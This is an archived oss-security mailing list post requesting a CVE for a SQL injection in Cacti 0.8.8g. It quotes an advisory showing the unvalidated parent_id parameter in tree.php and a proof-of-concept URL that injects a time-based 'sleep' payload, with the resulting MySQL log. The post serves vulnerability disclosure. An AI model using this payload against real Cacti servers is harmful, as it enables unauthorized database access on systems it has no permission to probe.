oss-security - please assign CVE for cacti bug 2667: SQL Injection Vulnerability

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <56E19B88.3000908@debian.org>
Date: Thu, 10 Mar 2016 17:06:32 +0100
From: Paul Gevers <elbrus@...ian.org>
To: oss-security@...ts.openwall.com
Subject: please assign CVE for cacti bug 2667: SQL Injection Vulnerability

Hi

I just found the description below about an sql vulnerability in the
cacti bug tracker: http://bugs.cacti.net/view.php?id=2667

Can a CVE be assigned for this issue?
Thanks

==========================
Advisory: Cacti SQL Injection Vulnerability
Author: Do9gy of Tencent Security Platform Department
Affected Version: 0.8.8.g(the latest version & the older versions)
==========================
Vulnerability Description
==========================

Recetly, I found a SQL Injection Vulnerability in ‘Cacti-0.8.8g'
program, Cacti is widely used in many companies.
Vulnerable file: /cacti/tree.php:
line 208:
==========================================================================================================================================
    switch ($current_type) {
    case TREE_ITEM_TYPE_HEADER:
        $i = 0;
        /* it's nice to default to the parent sorting style for new items */
        if (empty($_GET["id"])) {
            $default_sorting_type = db_fetch_cell("select
sort_children_type from graph_tree_items where id=" . $_GET["parent_id"]);
        }else{
            $default_sorting_type = TREE_ORDERING_NONE;
        }

==========================================================================================================================================

The parameter parent_id is used without any validation.
==========================
POC && EXP
==========================
1. Login

2.
http://target/cacti-0.8.8g/tree.php?action=item_edit&tree_id=2&parent_id=8%20and%20sleep(1)
[^]

3. mysql log: select sort_children_type from graph_tree_items where id=8
and sleep(1)



Download attachment "signature.asc" of type "application/pgp-signature" (474 bytes)

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.